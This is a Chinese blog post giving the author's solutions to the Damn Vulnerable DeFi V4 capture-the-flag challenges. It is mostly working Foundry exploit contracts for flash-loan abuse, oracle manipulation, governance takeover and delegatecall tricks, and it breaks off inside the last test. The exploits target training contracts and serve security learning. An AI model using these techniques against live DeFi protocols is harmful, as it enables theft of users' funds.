{"id":345,"date":"2025-01-25T23:44:02","date_gmt":"2025-01-25T15:44:02","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=345"},"modified":"2025-02-14T15:58:13","modified_gmt":"2025-02-14T07:58:13","slug":"damn-vulnerable-defi-wp%e6%8c%81%e7%bb%ad%e6%9b%b4%e6%96%b0","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/345","title":{"rendered":"Damn Vulnerable DeFi WP(\u5df2\u5b8c\u7ed3)"},"content":{"rendered":"<blockquote>\n<p>\u5237\u70b9\u533a\u5757\u94fe\uff0conlypwner\u4e5f\u5f88\u4e0d\u9519\uff0c\u4f46\u662f\u4e0d\u7ed9\u53d1wp\uff0c\u5c31\u53d1\u53d1\u8fd9\u4e2a\u7684\uff0c\u9879\u76ee\u5730\u5740\uff1a<a href=\"https:\/\/github.com\/theredguild\/damn-vulnerable-defi\">https:\/\/github.com\/theredguild\/damn-vulnerable-defi<\/a> \uff0c\u7528foundry\u5199\u8d77\u6765\u5f88\u65b9\u4fbf\uff0c\u76ee\u524d\u5df2\u5b8c\u7ed3<\/p>\n<\/blockquote>\n<p>\u4ee3\u7801\uff1a<a href=\"https:\/\/github.com\/zysgmzb\/My-Damn-Vulnerable-DeFi-V4-solutions\">https:\/\/github.com\/zysgmzb\/My-Damn-Vulnerable-DeFi-V4-solutions<\/a><\/p>\n<p>\u5982\u679c\u521a\u5165\u95e8defi\u5b89\u5168\u63a8\u8350\u6309\u987a\u5e8f\u505a<\/p>\n<p>\u76ee\u5f55:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/67a8354ed0e0a243d4fd3896.png\" alt=\"\" \/><\/p>\n<h3>unstoppable<\/h3>\n<p>\u4e00\u4e2a\u7ecf\u5178\u7684dos\uff0c\u76f4\u63a5\u628a\u81ea\u5df1\u7684\u4ee3\u5e01transfer\u7ed9vault\u5c31\u884c\u4e86\uff0c\u5c31\u4f1a\u5bfc\u81f4monitor\u68c0\u67e5\u7684\u65f6\u5019\u8fc7\u4e0d\u4e86\u8fd9\u4e00\u6761<\/p>\n<pre class=\"prettyprint linenums\" ><code>if (convertToShares(totalSupply) != balanceBefore)\n            revert InvalidBalance(); \/\/ enforce ERC4626 requirement<\/code><\/pre>\n<p>Exp:<\/p>\n<pre class=\"prettyprint linenums\" ><code>function test_unstoppable() public checkSolvedByPlayer {\ntoken.transfer(address(vault), 1 ether);\n}<\/code><\/pre>\n<h3>naive-receiver<\/h3>\n<p>\u76ee\u7684\u662f\u638f\u7a7areceiver\u768410eth\u548cpool\u91cc\u7684100eth\uff0creceiver\u638f\u8d77\u6765\u5f88\u7b80\u5355\uff0c\u76f4\u63a5\u8c03\u752810\u6b21flashloan\u5c31\u884c\uff0c\u6bcf\u6b21\u4f1a\u6536\u4ed61eth\u7684fee\uff0c\u8fdb\u884c\u5b8c\u8fd9\u4e00\u6b65\u540epool\u91cc\u5c311010eth\u4e86\uff0c\u63a5\u4e0b\u6765\u5c31\u8981\u5427\u8fd9\u4e9b\u5168\u5077\u4e86<\/p>\n<p>\u53ef\u4ee5\u770b\u5230flashloan\u540e\u6240\u6709\u7684fee\u662f\u5230\u4e86feeReceiver\u7684\u8d26\u6237\u91cc\uff0c\u800c\u8fd9\u4e2a\u8d26\u6237\u5c31\u662fdeployer\uff0c\u6240\u4ee5\u6b64\u65f6deposits[feeReceiver]\u5c31\u662f1010eth<\/p>\n<p>\u6b64\u65f6\u5982\u679c\u80fd\u63a7\u5236withdraw\u51fd\u6570\u91cc\u7684_msgSender()\u8fd4\u56dedeployer\u7684\u5730\u5740\u5c31\u884c\u4e86\uff0c\u8fd9\u8fd8\u662f\u633a\u5bb9\u6613\u7684\uff0c\u53ea\u8981\u63a7\u5236\u4e00\u4e0bcalldata\u5c31\u884c<\/p>\n<p>\u53c8\u56e0\u4e3a\u9700\u8981\u57282\u7b14\u4ea4\u6613\u5185\u5b8c\u6210\uff0c\u6240\u4ee5\u76f4\u63a5\u7528\u90a3\u4e2amulticall\u5c31\u884c\uff0c\u519911\u4e2acalldata\uff0c\u524d\u5341\u4e2a\u7528\u6765\u638f\u7a7areceiver\uff0c\u6700\u540e\u4e00\u4e2a\u638f\u7a7apool\uff0c\u6ce8\u610f\u6700\u540e\u638f\u7a7apool\u7684\u65f6\u5019calldata\u5f97\u5728\u540e\u9762\u52a0\u4e0a\u4e00\u4e2adeployer\uff0c\u8fd9\u6837_msgSender()\u5c31\u80fd\u8fd4\u56dedeployer\u7684\u5730\u5740\uff0c\u7b7e\u540d\u90a3\u91cc\u7684hash\u503c\u662fBasicForwarder.sol\u91cc\u7684_hashTypedData(getDataHash(request))\u7684\u8fd4\u56de\u503c<\/p>\n<p>exp\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_naiveReceiver() public checkSolvedByPlayer {\n        bytes memory call_receiver = abi.encodeWithSignature(\n            &quot;flashLoan(address,address,uint256,bytes)&quot;,\n            IERC3156FlashBorrower(address(receiver)),\n            address(weth),\n            1 ether,\n            bytes(&quot;&quot;)\n        );\n\n        bytes memory call_pool = abi.encodePacked(\n            abi.encodeWithSignature(\n                &quot;withdraw(uint256,address)&quot;,\n                1010 ether,\n                recovery\n            ),\n            deployer\n        );\n\n        bytes[] memory calls = new bytes[](11);\n\n        for (uint256 i = 0; i &lt; 10; i++) {\n            calls[i] = call_receiver;\n        }\n        calls[10] = call_pool;\n\n        BasicForwarder.Request memory request = BasicForwarder.Request({\n            from: player,\n            target: address(pool),\n            value: 0,\n            gas: 1000000,\n            nonce: 0,\n            data: abi.encodeWithSignature(&quot;multicall(bytes[])&quot;, calls),\n            deadline: block.timestamp + 1\n        });\n\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(\n            playerPk,\n            hex&quot;93d1013a86f6910413c4664bac55cef52aee84d753f2d3e6067034e83259cee1&quot;\n        );\n        bytes memory signature = abi.encodePacked(r, s, v);\n        console.logBytes(signature);\n        forwarder.execute(request, signature);\n    }<\/code><\/pre>\n<h3>Truster<\/h3>\n<p>\u8fd9\u662f\u771f\u7b80\u5355\uff0c\u76f4\u63a5\u8ba9pool\u53bbcall\u4e00\u4e0btoken\u53bbapprove\u5c31\u884c\u4e86\uff0camount\u5c31\u8bbe\u4e3a0<\/p>\n<p>\u4f46\u662f\u8fd8\u662f\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5approve\u7ed9recovery\u7136\u540e\u76f4\u63a5transferFrom\uff0c\u8fd9\u6837\u4f1apanic<\/p>\n<p>Exp:<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_truster() public checkSolvedByPlayer {\n        Hack hack = new Hack(address(pool), address(token), recovery);\n    }\n\n    contract Hack {\n    constructor(address _pool, address _token, address _recovery) {\n        TrusterLenderPool pool = TrusterLenderPool(_pool);\n        DamnValuableToken token = DamnValuableToken(_token);\n        bytes memory data = abi.encodeWithSignature(\n            &quot;approve(address,uint256)&quot;,\n            address(this),\n            type(uint256).max\n        );\n        pool.flashLoan(0, address(0), _token, data);\n        token.transferFrom(_pool, address(this), token.balanceOf(_pool));\n        token.transfer(_recovery, token.balanceOf(address(this)));\n    }\n}\n<\/code><\/pre>\n<h3>side-entrance<\/h3>\n<p>\u95ea\u7535\u8d37\u7ecf\u5178\u6f0f\u6d1e\uff0c\u8c03\u7528execute\u7684\u65f6\u5019\u53bbdeposit\u5c31\u884c\uff0c\u56e0\u4e3a\u8fd9\u91cc\u8fd8\u6b3e\u540e\u53ea\u68c0\u6d4bpool\u7684\u4f59\u989d<\/p>\n<p>Exp:<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_sideEntrance() public checkSolvedByPlayer {\n        Hack hack = new Hack(address(pool), recovery);\n        hack.attack();\n    }\n\n    contract Hack {\n    SideEntranceLenderPool pool;\n    address recovery;\n    constructor(address _pool, address _recovery) payable {\n        pool = SideEntranceLenderPool(_pool);\n        recovery = _recovery;\n    }\n    function attack() external {\n        pool.flashLoan(address(pool).balance);\n        pool.withdraw();\n        payable(recovery).transfer(address(this).balance);\n    }\n    function execute() external payable {\n        pool.deposit{value: msg.value}();\n    }\n    fallback() external payable {}\n}<\/code><\/pre>\n<h3>the-rewarder<\/h3>\n<p>\u6709\u70b9\u5b50\u83ab\u540d\u5176\u5999\uff0c\u76f4\u63a5\u6574\u4e2a\u8d85\u957fclaim\u5c31\u884c\u4e86\uff0c\u6839\u636eclaimRewards\u7684\u903b\u8f91<\/p>\n<p>\u6ce8\u610f\u6d4b\u8bd5\u7684\u65f6\u5019\u4e0d\u8981\u5f00-vvvvv\uff0c\u4e0d\u7136\u5361\u6b7b\u4f60<\/p>\n<pre class=\"prettyprint linenums\" ><code>if (token != inputTokens[inputClaim.tokenIndex]) {\n                if (address(token) != address(0)) {\n                    if (!_setClaimed(token, amount, wordPosition, bitsSet))\n                        revert AlreadyClaimed();\n                }\n\n                token = inputTokens[inputClaim.tokenIndex];\n                bitsSet = 1 &lt;&lt; bitPosition; \/\/ set bit at given position\n                amount = inputClaim.amount;\n            } else {\n                bitsSet = bitsSet | (1 &lt;&lt; bitPosition);\n                amount += inputClaim.amount;\n            }\n\n            \/\/ for the last claim\n            if (i == inputClaims.length - 1) {\n                if (!_setClaimed(token, amount, wordPosition, bitsSet))\n                    revert AlreadyClaimed();\n            }<\/code><\/pre>\n<p>\u5982\u679ctoken\u548cinputTokens[inputClaim.tokenIndex]\u76f8\u7b49\u5c31\u4f1a\u4e00\u76f4\u52a0amount\uff0c\u76f4\u5230\u6700\u540e\u4e00\u4e2a\u624d\u53bb\u8c03\u7528_setClaimed\uff0c\u90a3\u76f4\u63a5\u6574\u4e2a\u7279\u957f\u7684claim\u5c31\u884c\u4e86\uff0c\u4e00\u6b21\u6027\u638f\u7a7a\uff0c\u9700\u8981\u5148\u63d0\u524d\u8ba1\u7b97\u4e00\u4e0b\u6700\u591a\u80fd\u63a5\u53d7\u51e0\u6b21airdrop\uff0cjson\u6587\u4ef6\u91cc\u6709player\u7684\u5730\u5740\uff0c\u53d1\u73b0airdrop\u6570\u989d\u5206\u522b\u662f11524763827831882\u548c1171088749244340\uff0c\u5e76\u4e14\u603b\u989d\u662f10eth\u548c1eth\uff0c\u76f4\u63a5\u7b97\u4e00\u4e0b\u5c31\u884c\u4e86<\/p>\n<pre class=\"prettyprint linenums\" ><code>>&gt;&gt; (10**19) \/ 11524763827831882\n867.696739767488\n>&gt;&gt; (10**18) \/ 1171088749244340\n853.9062480493154<\/code><\/pre>\n<p>\u6240\u4ee5\u5c31\u6574\u4e00\u4e2a867+853\u957f\u5ea6\u7684claim\u5c31\u884c\uff0c\u6700\u540e\u628atoken\u5168\u8f6c\u7ed9recovery\uff0c\u7b80\u5355<\/p>\n<p>Exp:<\/p>\n<pre class=\"prettyprint linenums\" ><code>function test_theRewarder() public checkSolvedByPlayer {\n        Claim[] memory claims = new Claim[](867 + 853);\n        bytes32[] memory dvtLeaves = _loadRewards(\n            &quot;\/test\/the-rewarder\/dvt-distribution.json&quot;\n        );\n        bytes32[] memory wethLeaves = _loadRewards(\n            &quot;\/test\/the-rewarder\/weth-distribution.json&quot;\n        );\n        IERC20[] memory tokensToClaim = new IERC20[](2);\n        tokensToClaim[0] = IERC20(address(dvt));\n        tokensToClaim[1] = IERC20(address(weth));\n\n        claims[0] = Claim({\n            batchNumber: 0, \/\/ claim corresponds to first DVT batch\n            amount: 11524763827831882,\n            tokenIndex: 0, \/\/ claim corresponds to first token in `tokensToClaim` array\n            proof: merkle.getProof(dvtLeaves, 188) \/\/ Alice&#039;s address is at index 2\n        });\n\n        for (uint i = 0; i &lt; 866; i++) {\n            claims[i + 1] = claims[0];\n        }\n\n        claims[867] = Claim({\n            batchNumber: 0, \/\/ claim corresponds to first WETH batch\n            amount: 1171088749244340,\n            tokenIndex: 1, \/\/ claim corresponds to second token in `tokensToClaim` array\n            proof: merkle.getProof(wethLeaves, 188) \/\/ Alice&#039;s address is at index 2\n        });\n\n        for (uint i = 0; i &lt; 852; i++) {\n            claims[i + 868] = claims[867];\n        }\n\n        distributor.claimRewards({\n            inputClaims: claims,\n            inputTokens: tokensToClaim\n        });\n\n        dvt.transfer(recovery, dvt.balanceOf(player));\n        weth.transfer(recovery, weth.balanceOf(player));\n    }<\/code><\/pre>\n<h3>selfie<\/h3>\n<p>\u8fd9\u9898\u4e5f\u633a\u7b80\u5355\u7684\uff0c\u4f46\u662f\u4e00\u5f00\u59cb\u771f\u7684\u662f\u5b8c\u5168\u4e0d\u77e5\u9053\u54ea\u91cc\u53ef\u4ee5\u7ed5\u8fc7\u7b49\u5f85\u4e24\u5929\u7684\u9650\u5236\uff0c\u6700\u540e\u770b\u4e86wp\u624d\u77e5\u9053\u662f\u7528foundry\u7684cheatcode\u53bb\u8c03\u65f6\u95f4\uff0c\u516d\u767e\u516d\u5341\u516d<\/p>\n<p>\u603b\u4f53\u5c31\u662f\u95ea\u7535\u8d37\u501f\u4e2a150\u4e07eth\u7136\u540e\u62ff\u53bb\u589e\u52a0\u81ea\u5df1\u7684vote\uff0c\u7136\u540e\u5728SimpleGovernance\u90a3\u91cc\u63d0\u4e00\u4e2aaction\u518d\u6539\u65f6\u95f4\u518dexecute\u5c31\u884c\u4e86<\/p>\n<p>exp:<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_selfie() public checkSolvedByPlayer {\n        Hack hack = new Hack(\n            address(token),\n            address(governance),\n            address(pool),\n            recovery\n        );\n        hack.attack1();\n        vm.warp(block.timestamp + 2 days);\n        hack.attack2();\n    }\n\n    contract Hack {\n    DamnValuableVotes token;\n    SimpleGovernance governance;\n    SelfiePool pool;\n    address recovery;\n    constructor(\n        address _token,\n        address _governance,\n        address _pool,\n        address _recovery\n    ) {\n        token = DamnValuableVotes(_token);\n        governance = SimpleGovernance(_governance);\n        pool = SelfiePool(_pool);\n        recovery = _recovery;\n    }\n\n    function onFlashLoan(\n        address initiator,\n        address ttoken,\n        uint256 amount,\n        uint256 fee,\n        bytes calldata data\n    ) external returns (bytes32) {\n        token.delegate(address(this));\n        governance.queueAction(\n            address(pool),\n            0,\n            abi.encodeWithSignature(&quot;emergencyExit(address)&quot;, recovery)\n        );\n        DamnValuableVotes(ttoken).approve(address(pool), type(uint256).max);\n        return keccak256(&quot;ERC3156FlashBorrower.onFlashLoan&quot;);\n    }\n\n    function attack1() external {\n        pool.flashLoan(\n            IERC3156FlashBorrower(address(this)),\n            address(token),\n            token.balanceOf(address(pool)),\n            &quot;&quot;\n        );\n    }\n\n    function attack2() external {\n        governance.executeAction(1);\n    }\n}<\/code><\/pre>\n<h3>compromised<\/h3>\n<p>\u62bd\u62bd\u53c8\u8c61\u8c61\uff0c\u4e0a\u6765\u76f4\u63a5\u7ed9\u4e24\u79c1\u94a5\uff0c\u518d\u7b80\u5355\u770b\u4e00\u773c\u5408\u7ea6\u5c31\u77e5\u9053\u662f\u7528\u6cc4\u9732\u7684\u8fd9\u4e24\u4e2a\u8d26\u6237\u63a7\u5236\u4e00\u4e0bnft\u4ef7\u683c\u5c31\u884c\u4e86\uff0c\u7b80\u5355<\/p>\n<p>exp:<\/p>\n<pre class=\"prettyprint linenums\" ><code>function test_compromised() public checkSolved {\n        uint256 account1_key = 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744;\n        uint256 account2_key = 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159;\n        address account1 = vm.addr(account1_key);\n        address account2 = vm.addr(account2_key);\n        vm.startPrank(account1);\n        oracle.postPrice(&quot;DVNFT&quot;, 0);\n        vm.stopPrank();\n        vm.startPrank(account2);\n        oracle.postPrice(&quot;DVNFT&quot;, 0.1 ether);\n        vm.stopPrank();\n        vm.startPrank(player);\n        uint256 id = exchange.buyOne{value: 0.1 ether}();\n        vm.startPrank(account1);\n        oracle.postPrice(&quot;DVNFT&quot;, 999.1 ether);\n        vm.stopPrank();\n        vm.startPrank(account2);\n        oracle.postPrice(&quot;DVNFT&quot;, 999.1 ether);\n        vm.stopPrank();\n        vm.startPrank(player);\n        nft.approve(address(exchange), id);\n        exchange.sellOne(id);\n        payable(recovery).transfer(999 ether);\n        vm.stopPrank();\n        vm.startPrank(account1);\n        oracle.postPrice(&quot;DVNFT&quot;, 999 ether);\n        vm.stopPrank();\n        vm.startPrank(account2);\n        oracle.postPrice(&quot;DVNFT&quot;, 999 ether);\n        vm.stopPrank();\n    }<\/code><\/pre>\n<h3>puppet<\/h3>\n<p>\u4e0a\u6765\u5148\u7528_calculateTokenToEthInputPrice\u770b\u4e00\u4e0b\u5df2\u6709\u76841000 eth\u7684token\u80fd\u6362\u591a\u5c11eth<\/p>\n<pre class=\"prettyprint linenums\" ><code>console.log(\n            _calculateTokenToEthInputPrice(1000 ether, 10 ether, 10 ether)\n        );<\/code><\/pre>\n<p>\u7ed3\u679c\u76f4\u63a5\u80fd\u63629900695134061569016\uff0c\u597d\u5bb6\u4f19\uff0c\u76f4\u63a5\u638f\u7a7a\u4e86\uff0c\u7136\u540e\u53bblendingpool\u501f\u5c31\u5b8c\u4e86\uff0c\u4f46\u662f\u8fd9\u91cc\u4e0d\u77e5\u9053\u600e\u4e48\u7f29\u5230\u4e00\u7b14\u4ea4\u6613\u4ee5\u5185\uff0c\u6700\u540e\u5927\u6982\u662f\u8fd9\u4e2a\u6d41\u7a0b\uff0c\u8981\u7f29\u7684\u8bdd\u53ef\u80fd\u8981\u5199\u4e2a\u5408\u7ea6\uff1f<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_puppet() public checkSolvedByPlayer {\n        token.approve(address(uniswapV1Exchange), 1000 ether);\n        uniswapV1Exchange.tokenToEthSwapInput(1000 ether, 1, block.timestamp);\n        lendingPool.borrow{value: 25 ether}(1000 ether, recovery);\n    }<\/code><\/pre>\n<h3>puppet-v2<\/h3>\n<p>\u8fd8\u662f\u4e00\u6837\uff0c\u628a\u81ea\u5df1\u7684token\u5168\u6362\u6210wth\u4f7f\u5f97token\u53d8\u5f97\u975e\u5e38\u4fbf\u5b9c\uff0c\u5c31\u53ef\u4ee5\u7528\u81ea\u5df1\u7684\u5c11\u91cfweth\u501f\u6765pool\u4e2d\u7684\u6240\u6709token<\/p>\n<p>exp:<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_puppetV2() public checkSolvedByPlayer {\n        token.approve(address(uniswapV2Router), type(uint256).max);\n        address[] memory path = new address[](2);\n        path[0] = address(token);\n        path[1] = address(weth);\n        uniswapV2Router.swapExactTokensForETH(\n            PLAYER_INITIAL_TOKEN_BALANCE,\n            0,\n            path,\n            player,\n            block.timestamp\n        );\n        weth.deposit{value: player.balance}();\n        weth.approve(address(lendingPool), type(uint256).max);\n        lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);\n        token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);\n    }<\/code><\/pre>\n<h3>free-rider<\/h3>\n<p>\u9898\u76ee\u4e0d\u96be\uff0c\u9996\u5148\u662fbuyMany\u65b9\u6cd5\u5bfc\u81f4\u7684msg.value\u91cd\u590d\u4f7f\u7528\u95ee\u9898\uff0c\u8fd9\u5c31\u4f1a\u5bfc\u81f4\u82b115eth\u83b7\u53d6\u6240\u6709nft\uff0c\u8fd8\u6709\u66f4\u9006\u5929\u7684\uff0c\u5c31\u662f\u8fd9\u91cc<\/p>\n<pre class=\"prettyprint linenums\" ><code>        _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);\n\n        \/\/ pay seller using cached token\n        payable(_token.ownerOf(tokenId)).sendValue(priceToPay);<\/code><\/pre>\n<p>\u5148\u8f6c\u79fbnft\u518d\u628a\u94b1\u7ed9\u4e86\uff0c\u4f46\u662f\u7ed9\u94b1\u7684\u65f6\u5019owner\u5df2\u7ecf\u53d8\u6210\u4e70\u5bb6\u4e86\uff0c\u5c31\u4f1a\u5bfc\u81f4\u4e0d\u7528\u82b1\u94b1\u5c31\u80fd\u83b7\u53d6nft\uff0c\u8fd9market\u662f\u4e2a\u4eba\u7269<\/p>\n<p>\u4e8e\u662f\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u76f4\u63a5\u53bbuniswapv2\u91cc\u9762flashswap\u51fa15eth\u540e\u9762\u7b80\u5355\u5199\u5199\u628anft\u5168\u8f6c\u7ed9recovery\u5c31\u884c\uff0c\u8fd8\u6b3e\u7684\u65f6\u5019\u9700\u8981\u8fd815eth\u52a0\u4e0a\u6bd40.3%\u591a\u4e00\u70b9\u70b9\u7684fee\uff0c\u5c31\u75280.4%\u5c31\u884c\u4e86<\/p>\n<p>exp\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_freeRider() public checkSolvedByPlayer {\n        \/\/weth.deposit{value: player.balance}();\n        \/\/weth.approve(address(uniswapV2Router), type(uint256).max);\n        Hack hack = new Hack{value: player.balance}(\n            address(uniswapPair),\n            address(marketplace),\n            address(nft),\n            address(recoveryManager),\n            address(weth),\n            player\n        );\n\n        hack.attack();\n    }\n\n    contract Hack {\n    IUniswapV2Pair uniswapPair;\n    FreeRiderNFTMarketplace marketplace;\n    DamnValuableNFT nft;\n    FreeRiderRecoveryManager recoveryManager;\n    WETH weth;\n    address player;\n\n    constructor(\n        address _uniswapPair,\n        address _marketplace,\n        address _nft,\n        address _recoveryManagerOwner,\n        address _weth,\n        address _player\n    ) payable {\n        uniswapPair = IUniswapV2Pair(_uniswapPair);\n        marketplace = FreeRiderNFTMarketplace(payable(_marketplace));\n        nft = DamnValuableNFT(_nft);\n        recoveryManager = FreeRiderRecoveryManager(_recoveryManagerOwner);\n        weth = WETH(payable(_weth));\n        player = _player;\n    }\n\n    function attack() external {\n        uniswapPair.swap(15 ether, 0, address(this), abi.encode(player));\n        payable(player).transfer(address(this).balance);\n    }\n\n    function uniswapV2Call(\n        address sender,\n        uint amount0,\n        uint amount1,\n        bytes calldata data\n    ) external {\n        weth.withdraw(15 ether);\n        uint256[] memory tokenIds = new uint256[](6);\n        for (uint256 i = 0; i &lt; 6; i++) {\n            tokenIds[i] = i;\n        }\n        marketplace.buyMany{value: 15 ether}(tokenIds);\n        nft.setApprovalForAll(address(recoveryManager), true);\n\n        for (uint256 i = 0; i &lt; 6; i++) {\n            nft.safeTransferFrom(\n                address(this),\n                address(recoveryManager),\n                i,\n                data\n            );\n        }\n        weth.deposit{value: 15 ether * (1 + 0.004)}();\n        weth.transfer(msg.sender, 15 ether * (1 + 0.004));\n    }\n\n    function onERC721Received(\n        address,\n        address,\n        uint256 _tokenId,\n        bytes memory _data\n    ) external returns (bytes4) {\n        return IERC721Receiver.onERC721Received.selector;\n    }\n    receive() external payable {}\n}<\/code><\/pre>\n<h3>backdoor<\/h3>\n<p>\u6709\u70b9\u5c0f\u96be\uff0c\u8981\u770b\u7684\u5408\u7ea6\u6709\u70b9\u591a\uff0c\u9898\u76ee\u8981\u6c42\u5728\u4e00\u6b21\u4ea4\u6613\u4e2d\u628a\u6240\u6709\u4ee3\u5e01\u90fd\u8f6c\u5230recovery\u8d26\u6237<\/p>\n<p>\u6574\u4f53\u5c31\u662f\u4e3a\u6bcf\u4e2aairdrop\u7684\u63a5\u53d7\u8005\u751f\u6210\u4e00\u4e2a\u4ee3\u7406\u94b1\u5305\u6536\u94b1\uff0c\u4f46\u662f\u5728setup\u51fd\u6570\u91cc\u6709\u4e00\u4e2asetupModules\uff0c\u91cc\u9762\u662f\u7528delegatecall\u505a\u4e00\u4e9b\u4e8b\u60c5\uff0c\u5c31\u6709\u4e86\u53ef\u4e58\u4e4b\u673a<\/p>\n<pre class=\"prettyprint linenums\" ><code>function setup(\n        address[] calldata _owners,\n        uint256 _threshold,\n        address to,\n        bytes calldata data,\n        address fallbackHandler,\n        address paymentToken,\n        uint256 payment,\n        address payable paymentReceiver\n    ) external {\n        \/\/ setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice\n        setupOwners(_owners, _threshold);\n        if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);\n        \/\/ As setupOwners can only be called if the contract has not been initialized we don&#039;t need a check for setupModules\n        setupModules(to, data);\n\n        if (payment &gt; 0) {\n            \/\/ To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)\n            \/\/ baseGas = 0, gasPrice = 1 and gas = payment =&gt; amount = (payment + 0) * 1 = payment\n            handlePayment(payment, 0, 1, paymentToken, paymentReceiver);\n        }\n        emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);\n    }<\/code><\/pre>\n<p>\u9898\u76ee\u5408\u7ea6\u91cc\u7684proxyCreated\u51fd\u6570\u6700\u540e\u4f1a\u628a10ether\u8f6c\u7ed9factory\u751f\u6210\u7684\u4ee3\u7406\u5408\u7ea6\uff0c\u6240\u4ee5\u5c31\u5728\u60f3\u7740\u80fd\u4e0d\u80fd\u8ba9\u8fd9\u4e2asetupModules\u7684calldata\u53bbcall\u4e00\u4e0bERC20\u7684approve\uff0c\u7136\u540e\u8f6c\u8d26\u5b8c\u4e86\u76f4\u63a5transferfrom\u5c31\u53ef\u4ee5\u4e86<\/p>\n<p>\u4e8e\u662f\u53ef\u4ee5\u5199\u51fa\u653b\u51fb\u5408\u7ea6\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>contract Backdoor {\n    address[] users;\n    Safe singletonCopy;\n    SafeProxyFactory walletFactory;\n    DamnValuableToken token;\n    WalletRegistry walletRegistry;\n    address recovery;\n\n    constructor(\n        address[] memory _users,\n        address _singletonCopy,\n        address _walletFactory,\n        address _token,\n        address _walletRegistry,\n        address _recovery\n    ) {\n        users = _users;\n        singletonCopy = Safe(payable(_singletonCopy));\n        walletFactory = SafeProxyFactory(_walletFactory);\n        token = DamnValuableToken(_token);\n        walletRegistry = WalletRegistry(_walletRegistry);\n        recovery = _recovery;\n    }\n\n    function fakeapprove(\n        address _token,\n        address _recovery,\n        uint256 _amount\n    ) external {\n        DamnValuableToken(_token).approve(_recovery, _amount);\n    }\n\n    function attack() external {\n        for (uint i = 0; i &lt; users.length; i++) {\n            address[] memory _owners = new address[](1);\n            _owners[0] = users[i];\n            bytes memory Module_call_data = abi.encodeWithSignature(\n                &quot;fakeapprove(address,address,uint256)&quot;,\n                address(token),\n                address(this),\n                10 ether\n            );\n            bytes memory test_call = abi.encodeWithSelector(\n                singletonCopy.setup.selector,\n                _owners,\n                1,\n                address(this),\n                Module_call_data,\n                address(0),\n                address(0),\n                0,\n                address(0)\n            );\n            walletFactory.createProxyWithCallback(\n                address(singletonCopy),\n                test_call,\n                0,\n                walletRegistry\n            );\n            address generated_proxy = walletRegistry.wallets(users[i]);\n            console.log(token.balanceOf(generated_proxy));\n            console.log(token.allowance(generated_proxy, address(this)));\n            \/\/ console.log(generated_proxy);\n            token.transferFrom(generated_proxy, address(this), 10 ether);\n            token.transfer(recovery, 10 ether);\n        }\n    }\n}<\/code><\/pre>\n<p>approve\u8fd9\u4e00\u6b65\u9700\u8981\u81ea\u5df1\u5199\u4e00\u4e0b\uff0c\u4e0d\u80fd\u76f4\u63a5\u5728setupModules\u91cc\u9762\u53bb\u8c03\u7528approve\uff0c\u56e0\u4e3a\u8fd9\u4e00\u6b65\u662fdelegatecall\uff0c\u4f1a\u5728\u4ee3\u7406\u5408\u7ea6\u7684\u4e0a\u4e0b\u6587\u4e2d\u8fdb\u884c\uff0c\u5982\u679c\u76f4\u63a5approve\u5c31\u4f1a\u5bfc\u81f4msg.sender\u662ffactory\u5408\u7ea6\uff0c\u4f46\u662f\u5982\u679c\u5728\u8fd9\u6b21delegatecall\u91cc\u53bb\u8c03\u7528\u81ea\u5df1\u5199\u7684Backddor\u5408\u7ea6\u91cc\u7684fakeapprove\u51fd\u6570\u53bbapprove\u7684\u8bddmsg.sender\u5c31\u4f1a\u662f\u4ee3\u7406\u5408\u7ea6\u4e86<\/p>\n<p>\u8fd9\u91cc\u4e00\u5f00\u59cb\u6211\u662f\u76f4\u63a5\u7ed9recovery\u8d26\u6237approve\u7684\uff0c\u4f46\u662f\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u540e\u9762\u7684transferFrom\u4e00\u76f4\u4f1apanic\uff0c\u641e\u4e0d\u660e\u767d\uff0c\u540e\u6765\u4ee5\u8fd9\u4e2aBackdoor\u5408\u7ea6\u81ea\u5df1\u505a\u4e00\u4e0b\u4e2d\u8f6c\u5c31\u53ef\u4ee5\u4e86\uff0c\u4e0d\u662f\u5f88\u660e\u767d\u4ec0\u4e48\u539f\u56e0<\/p>\n<p>test_backdoor\u76f4\u63a5\u90e8\u7f72\u8fd9\u4e2a\u5408\u7ea6\u5c31\u884c<\/p>\n<pre class=\"prettyprint linenums\" ><code>function test_backdoor() public checkSolvedByPlayer {\n        \/\/ console.logBytes4(singletonCopy.setup.selector);\n        \/* walletFactory.createProxyWithCallback(\n            address(singletonCopy),\n            data,\n            0,\n            walletRegistry\n        );*\/\n        Backdoor backdoor = new Backdoor(\n            users,\n            address(singletonCopy),\n            address(walletFactory),\n            address(token),\n            address(walletRegistry),\n            address(recovery)\n        );\n        backdoor.attack();\n    